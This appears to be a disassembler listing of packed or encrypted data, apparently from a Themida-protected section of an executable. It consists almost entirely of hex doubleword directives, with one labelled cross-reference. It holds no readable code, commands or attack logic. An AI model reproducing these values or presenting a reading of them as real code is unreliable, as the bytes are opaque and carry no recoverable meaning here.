		dd 0B5321566h, 7E9EFF6Ah, 0EFA8E7B9h, 4352B89Ah, 0EECEAD36h
		dd 0E51FEA99h, 45530918h, 5C5F1096h, 11F5747Ah,	88321566h
		dd 7EDBEC3Eh, 2DCDEA9Dh, 113212E6h, 57B97566h, 2546C4E6h
		dd 3ADBA0EFh, 1E521282h, 883215EFh, 0FBE89566h,	6C3F7D07h
		dd 5BB1566h, 885AE942h,	0B13215E6h, 0A252150Ch,	933D23BDh
		dd 88321566h, 3987EA07h, 0D735F140h, 0E078099h,	0DB521282h
		dd 17FA9400h, 0DD534B3Ch, 90683152h, 883211A2h,	0AFB27566h
		dd 0E3851AA1h, 88BF9E07h, 6135F172h, 4432156Fh,	4F1ECD29h
		dd 9F758A86h, 8CDE944Eh, 0CD321566h, 828D315Ah,	90433325h
		dd 0A77339A1h, 0ABB3522Dh, 9E6791ABh, 0E96D2CEFh, 880B240Eh
		dd 602E9C66h, 223211DDh, 4AEB1466h, 11BF9C9Fh, 4B35F172h
		dd 223219E4h, 17B81A66h, 87321566h, 443215E1h, 0E431FC66h
		dd 1CDBEA99h, 0B9321566h, 0EAD5783Bh, 0CCDDAD32h, 0BF4A0BCDh
		dd 88389369h, 24521566h, 22BB1A07h, 70321566h, 8818208Fh
		dd 0BD52E066h, 36AB98EDh, 0EECE1282h, 0AC069457h, 6E831F8Bh
		dd 0A31619EDh, 113211A2h, 65C39466h, 4B18A46Ch,	22321DE7h
		dd 13BE1A66h, 0E8321566h, 4FB21A07h, 42321566h,	90C39E00h
		dd 49962788h, 0C9BB7428h, 25D9ED36h, 1139FC06h,	0E0FD1566h
		dd 2DCA18C5h, 663B749Ch, 0D2EC9431h, 0E93CAD1Eh, 107C2DE7h
		dd 0A73D5922h, 113215E9h, 0F0B3739Ah, 4B1C5962h, 223297E3h
		dd 9A62EC66h, 4CB33152h, 44321562h, 223A9C69h, 71521566h
		dd 0E7887307h, 0FE607469h, 22321560h, 5B9C367h,	8CF69642h
		dd 0EA2EAE06h, 31DB78A8h, 0DC321566h, 0DAF00879h, 53AABDFBh
		dd 4FD567C5h, 6DFC5E5Fh, 35367EEh, 0A01040E3h, 3AB21A61h
		dd 0F8321566h, 88321575h, 4E0E5CA8h, 58F70164h,	4364BE80h
		dd 45668CAFh, 0AD4577BBh, 22321182h, 70524706h,	0BDECAD3Eh
		dd 24537A84h, 4111CDE7h, 41531246h, 731611E7h, 1A7B1900h
		dd 44C9AF34h, 0C71B5C6Ah, 89BD1A3Ch, 0B8321566h, 0ABF39C37h
		dd 353E9EACh, 8736D1E5h, 44321DE2h, 43527566h, 0CB5BAC00h
		dd 61FB2407h, 4432156Eh, 7A0801CFh, 1DECB598h, 0B4CAE9CAh
		dd 1B61A66h, 2D321567h,	113214E6h, 0A50EE966h, 0BBD49169h
		dd 2FDBEA99h, 0E9321566h, 59A293BCh, 0E36A9CBDh, 0E6663FECh
		dd 953D3B5Ah, 883215EBh, 44339769h, 1ECB1566h, 0CBB01A56h
		dd 7D321562h, 0C23D2C5Ah, 0DDCDEAD2h, 10B21A9Ah, 70321566h
		dd 0C63D545Ah, 223211A7h, 0D2B37306h, 9540A84h,	2593AD86h
		dd 0A43D4F5Ah, 0EECDEAF6h, 88321C8Fh, 63C30D66h, 11D98F0Ah
		dd 4E0EA53Ch, 77489169h
		dd 0CE3DEA99h, 2232156Ah, 11349769h, 23D1566h, 44321566h
		dd 0A03D745Ah, 1132111Bh, 8748299Eh, 0BBCD42E0h, 223FFC99h
		dd 0B7121566h, 8084C16Ch, 5C005E4Bh, 0CB570409h, 1132113Bh
		dd 8CCD479Fh, 60269E42h, 2236D1E7h, 1BDB1566h, 3C321566h
		dd 1581D7A2h, 0ABB4106Ch, 10B71A3Bh, 71321566h,	0C03DE75Fh
		dd 22321157h, 1132198Fh, 9171B266h, 23EFE52Ah, 803275B7h
		dd 0EE8A4502h, 89CDEA99h, 24CE4DA4h, 22229C69h,	1ADB1566h
		dd 60321566h, 5A9B98C5h, 48512308h, 0CEB9BE0Ch,	0D1654407h
		dd 0BDB55239h, 22321D8Fh, 0CD02CD66h, 57DBB087h, 0BAF4FC29h
		dd 0A53DEA99h, 11321576h, 88389869h, 41DB1566h,	0B8321566h
		dd 0AFDA7EB1h, 0C3DDCE3h, 443216A3h, 22321A8Fh,	617F4566h
		dd 0F5F44C24h, 0F9EC02Eh, 0DBE40615h, 1A73A0EBh, 87521282h
		dd 443213E7h, 22B81A66h, 0F8321566h, 8832156Fh,	28A5A198h
		dd 1EEB534Ch, 436474DCh, 0D6C39C38h, 443A9E69h,	0AF3D1566h
		dd 11321564h, 9607406h,	46C3162h, 1EB9110Eh, 15F69642h
		dd 0C86CFAE7h, 0F4CA110Eh, 26D2D5D7h, 4054204Ah, 601241D3h
		dd 3A064C00h, 2232188Fh, 1AD4CF66h, 74F6EBF2h, 0E919FC6Fh
		dd 579CF568h, 0AE54759Bh, 4FB3B934h, 321166D1h,	0A3C7E007h
		dd 0A75C368Fh, 0D0DB9446h, 6D25377Dh, 7AF3949Fh, 9025377Dh
		dd 3E5C36A7h, 443FFC46h, 3CF41566h, 32867F0Bh, 2C097CADh
		dd 24412272h, 4C2FAB00h, 118A4507h, 0A1321566h,	1D6244AEh
		dd 0A03D4D3Eh, 1132156Bh, 88321D8Fh, 0F7E2D266h, 0F92C5919h
		dd 9A5475DAh, 4B851AACh, 0A1DD9407h, 0B42F90Fh,	0F48F40A9h
		dd 8942F90Fh, 4B524889h, 223216E6h, 0E7F39566h,	8823FC07h
		dd 0CEDC1566h, 0CF64E9DDh, 0E498745h, 62B0575Dh, 752CFCA4h
		dd 13CC2491h, 0B5C1EC91h, 5B8D1A06h, 0CBAC00h, 59864507h
		dd 0E768F1E6h, 79FE95BAh, 15C5F9E6h, 6DBAF4EEh,	0ED6A4C99h
		dd 837380EBh, 0CFCE1282h
		db 0E3h, 20h
word_607F42	dw 0C614h		; DATA XREF: Themida_:00584888o
		dd 0E8CE7561h, 87F29007h, 4432BAE3h, 0E4CBED66h, 0F51E38E3h
		dd 0D3D5261h, 4432157Fh, 2232018Fh, 90755D66h, 91ED76A7h
		dd 0E1EB4446h, 0A30D98F7h, 6E0E3EFh, 2FE07DDBh,	4BC7C1FCh
		dd 223201E4h, 1FB11A66h, 61321566h, 4432156Fh, 358FA1EAh
		dd 5C6911C8h, 0C987EABFh, 4B35F147h, 22321FE7h,	0A63D7566h
		dd 40B373AEh, 4B53175Ch, 223219EDh, 17BE1A66h, 87321566h
		dd 443215E5h, 85B79866h, 0F835F2D6h, 88321563h,	3E9F4A13h
		dd 0A9547558h, 903D47B1h, 88321566h, 94CD743Fh,	22321A8Fh
		dd 0BAA466h, 998E100Eh,	0F7D33772h, 0A2B9B658h,	9F3DE006h
		dd 88321565h, 253DCAE6h, 0A3D09C34h, 113211A4h,	8CD89666h
		dd 181601E1h, 2D1601EFh, 11321DE4h, 0D3D7566h, 44321566h
		dd 42E2EA07h, 11339B69h, 3ECA1566h, 0C1C77413h,	0D3B71AA6h
		dd 71321566h, 883C9569h, 4DDB1566h, 0CA321566h,	9DCBEFF7h
		dd 0EEB6541Dh, 0CF53DBEDh, 0C629C0E3h, 1DB41A61h, 87321566h
		dd 443213E2h, 22B01A66h, 94321566h, 0F1B71AA6h,	0B1321566h
		dd 0E1F90A0h, 0F87E1282h, 8832156Bh, 4BE846F6h,	4A163500h
		dd 2FB6CCD8h, 94DB7DE8h, 0C03DCCBCh, 22321561h,	0C9B97306h
		dd 7753D3EDh, 0A01354D3h, 2226FC61h, 86971566h,	75A09011h
		dd 46B81A28h, 147E82F2h, 283F5FA7h, 0DBF884Dh, 43D5A5C1h
		dd 22209C69h, 1CDB1566h, 45321566h, 99154D6Fh, 0A9A2D562h
		dd 5DE1F639h, 73DC599h,	4432156Eh, 22309569h, 70521566h
		dd 8DD29C36h, 44321562h, 0A536FDE5h, 986E3162h,	33D3172h
		dd 44321567h, 0CBE2EA9Fh, 11321577h, 0AA3AE05Eh, 9C07AF2Bh
		dd 2B7830D4h, 60DED719h, 87F290E7h, 443212E3h, 0ACDBEC66h
		dd 0E9321566h, 706290EFh, 0CF3D128Dh, 22321567h, 68247D9Eh
		dd 8CBB1566h, 48B21A42h, 2D321566h, 113213E1h, 88B81A66h
		dd 2C321566h, 22326F8Ah, 711621EFh, 94897306h, 0E7F194C6h
		dd 43245EF8h, 11369A69h, 30541566h, 0C953C008h,	0C5F88EE3h
		dd 0E8617561h, 58CD743Dh, 4BF21E9Eh, 223231E3h,	1121FC66h
		dd 0DA021566h, 490638B5h, 1134B815h, 1A23E861h,	1738869Fh
		dd 4421FCA7h, 0A03D1566h, 11321567h, 0AC769C93h, 0C63DE97Ah
		dd 22321567h, 0D2CB749Fh, 314DA306h, 3A5EDAD6h,	0A63D7507h
		dd 11321577h, 8832198Fh, 5344E66h, 0F073140Fh, 0AF003C6Eh
		dd 5B9E985h, 43D9ED36h,	44EC9E06h, 1B21CEE7h, 8834FC07h
		dd 0D941566h, 770D54A2h, 90D79C33h, 883211A3h, 40DF9666h
		dd 7E1639E1h, 0F81611EFh, 88321572h, 0D2B0E3DFh, 6A173D64h
		dd 3F5BF10Bh, 3BBA8691h, 0DA5470F1h, 6069437h, 66025947h
		dd 0B1611EDh, 650711A2h, 2D45252Ah, 11321DEBh, 8AB61A66h
		dd 24321566h, 1E884707h, 10321566h, 888946A4h, 45321566h
		dd 793116B5h, 0AECA753Ch, 0B0E0AC07h, 0CC82EA07h, 0A9321566h
		dd 0D5B13172h, 6052E962h, 4432156Dh, 94BFCB25h,	10BA5471h
		dd 30E47814h, 64DB9735h, 0E5B9733Eh, 28A79C07h,	0E835F17Eh
		dd 2252E4ECh, 61F6E5E7h, 1132068Fh, 0BE3FDC66h,	0D701526h
		dd 59803BEh, 0CD4BE8B9h, 158153Eh, 41DB7407h, 3D321566h
		dd 0E050CAC0h, 88CAAA31h, 0BC331566h, 0A11629EDh, 0AA5211A2h
		dd 0DC129F1Eh, 4435FC07h, 2DCE1566h, 0E218F60Eh, 848946F0h
		dd 0C5321566h, 997C258Dh, 90F11460h, 337C25A5h,	1F219E60h
		dd 22321F8Fh, 0A3EDA366h, 97423514h, 0CD9C56E0h, 0C63C5CF3h
		dd 1126FC61h, 81901566h, 72B77661h, 0CD1282AEh,	0CDAD7AC0h
		dd 8EE74FA0h, 70CDA3CDh, 0E6B34D42h, 11321562h,	88339C69h
		dd 0BBCB1566h, 7A163112h, 1132078Fh, 0DB498366h, 53B310F1h
		dd 0F8202C04h, 13EFB84Eh, 0E8EE753Bh, 0C03D53D5h, 22321566h
		dd 5CDF3807h, 5375E77h,	6D1D873Ch, 78BF38AEh, 0FC373AF4h
		dd 6179042Bh, 44321577h, 977DC10h, 7DB0B17Fh, 710E5301h
		dd 0FE3C1248h, 6BB72E8Eh, 1E35F168h, 883274E4h,	54DB7566h
		dd 0B4321566h, 5DADCADFh, 0A80340D8h, 774DD55Fh, 0A2A84C48h
		dd 2A538980h, 6C2A2CE3h, 7FB11A61h, 42321566h, 11321A8Fh
		dd 53C01366h, 0FBE7B876h, 3612E3B1h, 60E67E45h,	47B97306h
		dd 0B1537407h, 2D3211A4h, 113200E9h, 87B01A66h,	0AD321566h
		dd 2232156Ch, 0A84D93F5h, 431CA0E0h, 0B853526Ch, 3F1611A1h
		dd 90520C13h, 0C63A314Ah, 40B31F81h, 771A2042h,	351E9455h
		dd 0B0064E5Bh, 0F21631E7h, 0DD5BC919h, 15B3316Ah, 0FEE47B42h
		dd 6016D489h, 61E9462h,	76875B2Bh, 0B51611E7h, 4B5955C1h
		dd 22321FE0h, 903D7566h, 88321566h, 0B8534B30h,	261651A1h
		dd 18805794h, 8C164191h, 40165199h, 261679A7h, 3576EA62h
		dd 0AC5E9462h, 0D3252C62h, 6769452h, 23097D62h,	0E063E943h
		dd 71C12C7Fh, 0A1E3E23Fh, 0F8B314A7h, 423ED384h, 0AD6BDDEFh
		dd 22321568h, 58D6581Ah, 927549Ch, 0CC0A0CE1h, 0AFBFECD8h
		dd 16D65A81h, 88321E8Fh, 0BDC79E66h, 0E18C0733h, 0BCAE60F1h
		dd 99DBF499h, 11321566h, 0FC6A611h, 0C423AAD9h,	0E006F7EDh
		dd 8C1BDB88h, 9860E906h, 11321566h, 3361E767h, 44321566h
		dd 21B8C667h, 2DCB4F3Dh, 0DAB61A8Fh, 0B1321567h, 2DDA2993h
		dd 113372E2h, 8834FC66h, 3E961566h, 5A3AEEC9h, 953D1A5Ah
		dd 88321536h, 443A9069h, 72521566h, 9B88733Dh, 450E74D2h
		dd 45A59169h, 1ECA1566h, 0C4B61A8Dh, 74321567h,	58BD1A07h
		dd 42321566h, 2DB1BD6h,	44321566h, 2F187EEFh, 6A96BA3Bh
		dd 1B53C894h, 0B7446FD3h, 8753C856h, 0DA8D1A06h, 10B91A07h
		dd 70321566h, 4433AC37h, 0CBB31566h, 19250B1h, 49B3E467h
		dd 549250B1h, 2D6B0CECh, 113206EBh, 883CFC66h, 0F3451566h
		dd 0D3A13BABh, 717D49CEh, 6F90C0F8h, 0CD36F9E5h, 0D2823162h
		dd 0F86AD646h, 88321574h, 23C82A86h, 0CB92CA52h, 95A62C6Ah
		dd 0F2EE86EDh, 0BFB243D1h, 57B71AE6h, 71CDEA99h, 0B07EECDEh
		dd 94851A5Bh, 4F557D07h, 25BB1566h, 33D4E42h, 44321568h
		dd 22321C8Fh, 70F39A66h, 25741320h, 14CAAD5Dh, 223213DEh
		dd 9AF11466h, 4CB33162h, 44321562h, 223E9269h, 993D1566h
		dd 88321560h, 44329069h, 77601566h, 0ED5D62DBh,	8ED7D441h
		dd 0C531F0A7h, 602F6083h, 0AFC7944Eh, 9324A02h,	595AA98Bh
		dd 7FD89C4Eh, 0B31E767h, 0F0DBED3Ch, 0AD321566h, 2232156Bh
		dd 13CEB23Ch, 5EAF1DE0h, 0F2A86CF5h, 9A624760h,	67E97B84h
		dd 0ACA30A63h, 1CF09CEFh, 38B9E767h, 0EAB1EC3Ch, 3EB61A9Dh
		dd 0BD321566h, 62E9E30h, 1136D1E7h, 0E8CB1566h,	25E19E00h
		dd 2236F9E7h, 15BB1566h, 8833AD42h, 0B4331566h,	2D6A0D65h
		dd 11321EE5h, 46B37566h, 6AF840B1h, 437CF9E6h, 208F4037h
		dd 31045C6Dh, 727B1E52h, 236FFC57h, 0F8CE4CADh,	77CDEBE6h
		dd 44321D8Fh, 682CF866h, 0AED363B2h, 0D6841A25h, 4423FC67h
		dd 64A31566h, 0BAF61E50h, 953E98EAh, 0CF147447h, 0A16B5C43h
		dd 953D3B8Dh, 77CDEB36h, 44321F8Fh, 0FE393B66h,	9E5CFC94h
		dd 61B3CABDh, 44321543h, 3DC9506h, 9152749Fh, 948D20BEh
		dd 2566CFCAh, 0DC336BE6h, 0EF109069h, 8EDBEA99h, 0DC321566h
		dd 0D5854430h, 0EDD6FC94h, 0D952EA99h, 4B6CC5EDh, 223210EFh
		dd 0C7BDAD66h, 0E0536A4Dh, 44327034h, 0D71621EFh, 1119D70Eh
		dd 0AC3E9C66h, 4F897306h, 223DFC61h, 0F9831566h, 0CC032412h
		dd 0BF0519D9h, 0C0C4CC56h
		dd 405A7417h, 132157Ch,	0C73D317Ah, 22321569h, 11321F8Fh
		dd 89EB2066h, 0F1ADD37h, 75130E89h, 0D6B3F2EFh,	88321562h
		dd 4436FAE7h, 1EB51566h, 2DBB4942h, 84DA7542h, 0AD321566h
		dd 0D228ADDFh, 654B301Dh, 61FF7976h, 4432156Eh,	12946375h
		dd 1DAFDBBCh, 123FAB39h, 755324EAh, 223DFCA6h, 31131566h
		dd 4CEF72EFh, 86C18373h, 64C6A33Eh, 43C7B915h, 63D7EEh
		dd 1DD99DB3h, 9060EC3Ch, 5BD895E6h, 9C854600h, 1F54EF4Eh
		dd 0E8B2D798h, 6AD8952Dh, 8768C646h, 443212E6h,	23B41A66h
		dd 0E4321566h, 8742EEE6h, 4437AEE2h, 29DB7566h,	62321566h
		dd 54B3BD3Ah, 76A204E6h, 0A9543FD9h, 1E0E7491h,	888F9169h
		dd 78CB1566h, 32B61A8Fh, 1E32156Dh, 88320BE4h, 0FB3D7566h
		dd 2226FC95h, 687C1566h, 0F129B229h, 0E41745B4h, 0F2E4DDD9h
		dd 0FB58F64Eh, 0B453719Ch, 0BEB61A8Dh, 0CB321568h, 1132156Ch
		dd 5A75D608h, 86D0D478h, 0C10EF5D7h, 126B9169h,	0B4CA1566h
		dd 24B61A84h, 42321576h, 0EE53E7EDh, 0B6D3152h,	0BBC711A2h
		dd 0A1693152h, 0EEC711A2h, 96B3152h, 443211A2h,	2237FC66h
		dd 83E21566h, 61AC777Ch, 44321574h, 0A7CAFC82h,	3A0D829Bh
		dd 0AA0070CDh, 0E0829BB9h, 16B9B9CDh, 0F3BB4742h, 8836D7E7h
		dd 86B11566h, 6269262h,	9D3DE93Ah, 88321562h, 25C69F06h
		dd 9D3D75A5h, 0C9B37395h, 4F531E43h, 0AFCB35E3h, 22321361h
		dd 18B41A66h, 0E8321566h, 709928DDh, 431DA018h,	1132AC37h
		dd 49B31566h, 1FB62918h, 0CBB3E467h, 4AB62918h,	716B0CECh
		dd 0C4D1A037h, 0E7CC4C93h, 3107D0E6h, 8EDB4C8Dh, 5C321566h
		dd 8D43E732h, 91C9952Eh, 777B9069h, 4FDBEA99h, 0ED321566h
		dd 857EE83Eh, 0AC0EB6EFh, 0C33D3B32h, 2232157Fh, 1122FC06h
		dd 0FE21566h, 563C3A58h, 2E68026Fh, 7B0C5DA6h, 0D6600A41h
		dd 0BB8D4207h, 23CDEA99h, 9ACA4A98h, 6C1158E3h,	443BFC61h
		dd 13101566h, 0B50E36F1h, 8716D7E1h, 44321DE8h,	20BF1A66h
		dd 71321566h, 0EDA79E07h, 0BD35F173h, 223B1E0Eh, 35069C66h
		dd 852ED3Dh, 2252B3BCh,	5F4AD3E7h, 70C5A269h, 35674707h
		dd 5C0C14F5h, 6F34F0A7h, 8A75D0E7h, 62BBE519h, 1EE1143Bh
		dd 0C0DC9406h, 1E04C7EEh, 883215E3h, 0FE607466h, 22321564h
		dd 35FBD7E7h, 7A336F77h, 60FBFFE7h, 38316F77h, 1CDB753Ch
		dd 66321566h, 2D7D4EF8h, 69FE65B1h, 7D057235h, 0E989D6E6h
		dd 0C63DCD5Dh, 2232156Ch, 1EE82E9Eh, 77CC7FE0h,	0AFB3E999h
		dd 7D3C64B1h, 75A9FEE7h, 731B0336h, 20A9D6E7h, 0E1B30336h
		dd 4E3C64B1h, 883A9569h, 0C03D1566h, 22321564h,	47C77406h
		dd 883213D8h, 0FCF19466h, 0B0BDE64h, 0A9D99495h, 0D60BDE64h
		dd 0F33D4206h, 0A9544B98h, 1E5274B7h, 883216E9h, 97B97366h
		dd 2232048Fh, 3A892266h, 0F4891F21h, 15C44301h,	17FE4F31h
		dd 7753373Ch, 0EECEE0CBh, 4420FCCDh, 84BC1566h,	0BBC2967Eh
		dd 0F6DCCDD7h, 7DD8F6CEh, 1A05B6ACh, 115D2A0Eh,	0AC369C66h
		dd 0AD694D35h, 22321577h, 0CAA0D62Dh, 393FA796h, 0F4E1125Fh
		dd 4D1BCAD5h, 9B52BEFEh, 3567748Dh, 44321562h, 0EB9FB67h
		dd 15F69642h, 0AC0E9C93h, 60469C93h, 27DB756Ah,	0FC321566h
		dd 1A87876Bh, 44321E8Fh, 59E4E066h, 124799F5h, 313C31A8h
		dd 45879C07h, 0DE35F148h, 461629EDh, 4FB3F2EFh,	44321562h
		dd 2236D2E7h, 2DB51566h, 61524942h, 44321569h, 9D1BDA7Bh
		dd 4E887ABDh, 0E729383Eh, 25786D1Ch, 731609EDh,	0D0B3F4EFh
		dd 88321562h, 4436D4E7h, 2EB51566h, 0F9524942h,	8832156Bh
		dd 9EFA3665h, 9A964A10h, 0AC4691B9h, 0EE6BED31h, 0BB53C2EDh
		dd 0A16B3152h, 17DB11A2h, 4321566h, 187B3B85h, 6069E78h
		dd 90D09C34h, 883211A4h, 40F09466h, 0A5321566h,	0F86E3172h
		dd 88321561h, 8AE995A0h, 7071DCAAh, 0A863F7EFh,	0BFF9294Bh
		dd 0B3EBE227h, 0A3E3E2BFh, 25F1C097h, 0D1F814AEh, 0C336D7E5h
		dd 0D76E3172h, 0EED25D8Fh, 80B21A99h, 24321566h, 0F5D09400h
		dd 7153ECF7h, 0B3D29D2h, 44321564h, 0E5536DD1h,	0FACB35E3h
		dd 88321761h, 0AFB37566h, 6B7BCDC8h, 0E1BB4507h, 8CB9D6EFh
		dd 40F69642h, 2C841A93h, 11321B8Fh, 0F7C8F266h,	0F54ED8EBh
		dd 0A05EDA7Ch, 91F8CF02h, 0B3D959Fh, 4432153Dh,	22359769h
		dd 973D1566h, 88321567h, 87B3EC93h, 77404239h, 0AC67DE67h
		dd 0DD404239h, 246FFE4Fh, 78FA9400h, 70F59ED8h,	77CDAA31h
		dd 0BF1BEA99h, 87DBE039h, 1E321566h, 88320BE6h,	5CB81A66h
		dd 0CB321566h, 11321575h, 0FE0EA03Ah, 56D2C7Fh,	95C9D9E6h
		dd 5528B197h, 9F68EC8h,	4432118Ah, 6269C66h, 0FFF274D0h
		dd 8FCEB64h, 0B51AFD90h, 0D563E03Ch, 1DB9317Ah,	8CF69642h
		dd 44321E8Fh, 2BB8666h,	88D09B47h, 0B1C2859h, 0FB65409Fh
		dd 7716545Fh, 0D06DE8EFh, 4DB3178Bh, 73683BA1h,	547F8E7h
		dd 0D4B312E8h, 0A35530D4h, 0C537F0A7h, 0A598AA93h, 4CDB3469h
		dd 10F1949Ah, 6D7C701Ah, 188847ADh, 5B46973Dh, 0AF93E7E7h
		dd 971B2F81h, 2234FC3Ch, 8E931566h, 0D8379178h,	677F90EDh
		dd 0CB521282h, 11321568h, 17E57B07h, 8CA12252h,	0E9463F4Ch
		dd 18DBEEEEh, 32321566h, 0FA1F1890h, 8CC1722h, 1139FC07h
		dd 7B1E1566h, 8DD49D16h, 10E0A6B3h, 74A79E9Fh, 8735F173h
		dd 443202E1h, 2220FC66h, 0D6991566h, 55DBD69Eh,	0CFA69300h
		dd 0E12C1165h, 4432BCD1h, 9377A8E5h, 4B331282h,	223662E2h
		dd 0A8547566h, 0EE52C95Fh, 84B3CCEDh, 5D7A3EF9h, 0D20B7407h
		dd 8C6C9769h, 0AC521566h, 22321577h, 2E9DEB67h,	98E8095h
		dd 7E11800Eh, 0A433411Bh, 4A68442Bh, 0E9CCA269h, 0C63DC65Fh
		dd 0DDCDEF95h, 11359669h, 0F3D1566h, 44321567h,	223FFC9Fh
		dd 1CB21566h, 7B4500E1h, 90780B8Bh, 0CB8DF410h,	11321172h
		dd 883C9D69h, 4DDB1566h, 0D6321566h, 8A367B1Ah,	0F9856E4Ch
		dd 0BD1290A1h, 2230128Dh, 1ADB1566h, 8D321566h,	65D6B04Ch
		dd 0E407850Ch, 98623C27h, 3F19C96h, 80B13162h, 33DA7562h
		dd 5E321566h, 6EAAB486h, 235409BFh, 0F4B49DF6h,	87CDF3B0h
		dd 0E96D4ED0h, 44399A69h, 24DB1566h, 4321566h, 0D5A12F97h
		dd 4A841A61h, 928A7306h, 0E8B27449h, 0F6B11AE6h, 0AD321566h
		dd 22321574h, 18C94B81h, 97F6FA08h, 8A3DA7ECh, 41C06B1Eh
		dd 0D2B3DAE0h, 0EBF61333h, 6615FEE7h, 0E93341E6h, 3315D6E7h
		dd 63B341E6h, 27F61333h, 2232048Fh, 86333266h, 4D425355h
		dd 8495ABE8h, 0CDBED87Bh, 0A962BAF4h, 88321567h, 246AD667h
		dd 223E9169h, 17DA1566h, 6D321566h, 50AD17h, 43CA4BD0h
		dd 1132B18Fh, 883DFC66h, 53101566h, 0DA77D16Bh,	60E84017h
		dd 0BC65CE61h, 0F56345A9h, 7BFE9D35h, 0E7E1F9E6h, 0FBDE95BAh
		dd 0C431F9A6h, 0C31AEB92h, 1120FC3Eh, 5F081566h, 674E026Dh
		dd 221481F5h, 8885A64Eh, 9DCACCDCh, 50C5442Fh, 2CDB4C42h
		dd 0A5321566h, 4E74348Eh, 0E5BD01FAh, 2E7F218Bh, 5A8D423Bh
		dd 490BED6Ch, 0A3F31D81h, 71C59462h, 903DF16Ah,	3776B9A1h
		dd 0CFCB3416h, 0E6B1315Ah, 0D2B3E062h, 0BF0B0D93h, 6D2FEE7h
		dd 0E91B3AC8h, 53D2D6E7h, 63B33AC8h, 730B0D93h,	22359869h
		dd 903D1566h, 88321567h, 9B79E9Eh, 0DA35F145h, 74A79E9Fh
		dd 7D35F173h, 5F77A8E5h, 2D331282h, 113066E2h, 99B91A66h
		dd 0AD321566h, 2232156Ah
		dd 508204C6h, 0FFED3415h, 0C6C1C35Bh, 0A03DCD5Dh, 11321578h
		dd 87E12C93h, 0BBCB13E0h, 2222FC99h, 0AC561566h, 0FA416921h
		dd 0F4914871h, 35156785h, 0A962CDDEh, 0DF6D56ECh, 0AC2A316Bh
		dd 1BBE3039h, 9C07093Eh, 0A12E4D7Fh, 4BDB4DA0h,	46321566h
		dd 0D0929284h, 8B84846Ah, 0BB9270E7h, 0A43D6486h, 11321567h
		dd 8CDE9493h, 0CD321566h, 2D87316Ah, 0F86BFDEEh, 88321561h
		dd 18F9761h, 88C808E1h,	1189469Fh, 9321566h, 0F316B9A5h
		dd 0A3C1145Fh, 0A616B98Dh, 0D3399F5Fh, 728B7306h, 2DDB7441h
		dd 3B321566h, 24854552h, 0C535124Bh, 0DF566EE7h, 0A0635A86h
		dd 26F395B4h, 0B16BDDEEh, 0A2D3A635h, 0FAF23FA5h, 87C19563h
		dd 58B9CC46h, 26F69642h, 11321A8Fh, 25973866h, 5F58EFBEh
		dd 0D0A59FB4h, 7ED8B4A4h, 0E8FA1D9Eh, 20BDA4D9h, 0A43D4434h
		dd 11321566h, 87987438h, 443200E3h, 2222FC66h, 3ED11566h
		dd 0D042B6FBh, 1F50CCD2h, 0CED7DF55h, 0D2B31C44h, 0E00B27C6h
		dd 468BD6E7h, 0D91B57E0h, 138BFEE7h, 63B357E0h,	2C0B27C6h
		dd 9F674493h, 11321562h, 0A16FFCEFh, 0CA3D4CADh, 2232156Ah
		dd 1132128Fh, 4BD47766h, 0D0B9B259h, 0E103CD57h, 0F852CD57h
		dd 88321577h, 0D5AC11E5h, 709C88B6h, 0FBBEC97h,	3E3DBF28h
		dd 2573A207h, 2232138Fh, 76038766h, 23A5C0D3h, 0FC624693h
		dd 72435924h, 8907726Bh, 0C8EAE210h, 55F31026h,	843717AAh
		dd 9846380Dh, 56334DA5h, 0F1BBE93Dh, 25D63B67h,	94F5ED9Fh
		dd 8FD60E23h, 44321567h, 2232138Fh, 1AF5F66h, 0DDA7B9B9h
		dd 81B3F0EFh, 22321562h, 2236D0E5h, 0A403314Ah,	601E2642h
		dd 223DFC3Ah, 0D5181566h, 2A844B0Eh, 49B29D6Ch,	0D14500E1h
		dd 3506EA8Bh, 8CF6943Dh, 0AD321566h, 22321577h,	3F64FA36h
		dd 0D1A8DF40h, 3842B248h, 5F031DACh, 353E9E3Fh,	9D49C30h
		dd 443211A0h, 26F49666h, 4D1621E1h, 88399269h, 42DB1566h
		dd 0CC321566h, 0DBCC6E3h, 6BBB464Bh, 4436D6E7h,	0E1B11566h
		dd 352E9262h, 7D1631EDh, 44321F8Fh, 9352BD66h, 0A8D876D0h
		dd 0DFBC379Dh, 0FD63F2EFh, 22321562h, 926BDA67h, 0B4B511A1h
		dd 0ADCE4942h, 0DDCDCF5Bh, 37874606h, 0E9D09F3Dh, 4433AC37h
		dd 0EC1B1566h, 10B51A3Fh, 71321566h, 0CCECA635h, 29364EBEh
		dd 0AB3FA706h, 82D9BDEEh, 56DB7507h, 0A7321566h, 4B13A106h
		dd 44F1F890h, 0B39EB44Ah, 0AB105B7h, 1139FC5Ah,	56D21566h
		dd 7A2CECAAh, 0E4CC9386h, 0ED987462h, 136F9E5h,	0BD6A3152h
		dd 0B85CD463h, 1F6D1017h, 701B2E07h, 253C4A4Bh,	4CF3385Dh
		dd 0ED5264FCh, 718A7306h, 0F3C2947Eh, 431AD914h, 158B4407h
		dd 0A1321566h, 603E9EAEh, 2236D1E7h, 0F9521566h, 8832156Bh
		dd 160B371Ah, 668AA44h,	0CEB4E6FCh, 0D0CC9E64h,	0C55AD00h
		dd 4ACBBE07h, 11323A1Eh, 11629EFh, 40F59481h, 0A1321566h
		dd 2DB511A1h, 43D4942h,	44321572h, 223C9A69h, 18DB1566h
		dd 0A5321566h, 0FB61F6B9h, 28659423h, 1132108Fh, 0E239D966h
		dd 70CD4884h, 0E6B14E42h, 10B71A62h, 74321566h,	1D162199h
		dd 2236D1E7h, 943D1566h, 88321561h, 44339669h, 2DCE1566h
		dd 113214E8h, 0BCB9E066h, 0A3BB4242h, 2236D2E7h, 0D6B11566h
		dd 0AC0E9262h, 2CC7E03Ah, 22324334h, 981619EFh,	8CF39487h
		dd 0C7321566h, 2EB511A7h, 90524942h, 0DE882487h, 0A7B37347h
		dd 42530860h, 11321A8Fh, 0FAED6366h, 501A9E8Dh,	77A9B08Dh
		dd 0DABB792Ah, 0C4DB7493h, 0BDCDEABAh, 22239869h, 1DDB1566h
		dd 0D0321566h, 0A1572123h, 3B50229Bh, 0D60445ABh, 63CB35E3h
		dd 44321061h, 2234FC66h, 4DC1566h, 0BECD53DEh, 4436F9E7h
		dd 16BB1566h, 77524E42h, 0E9186ADEh, 4436AA31h,	0D9331566h
		dd 921629EDh, 85DB11A2h, 60321566h, 4A79C616h, 0CB995FA9h
		dd 88268A91h, 4432AC37h, 0D3331566h, 1132AF34h,	42331566h
		dd 1D680F65h, 0FD09406h, 40097E73h, 54FBAB00h, 0C1B9743Fh
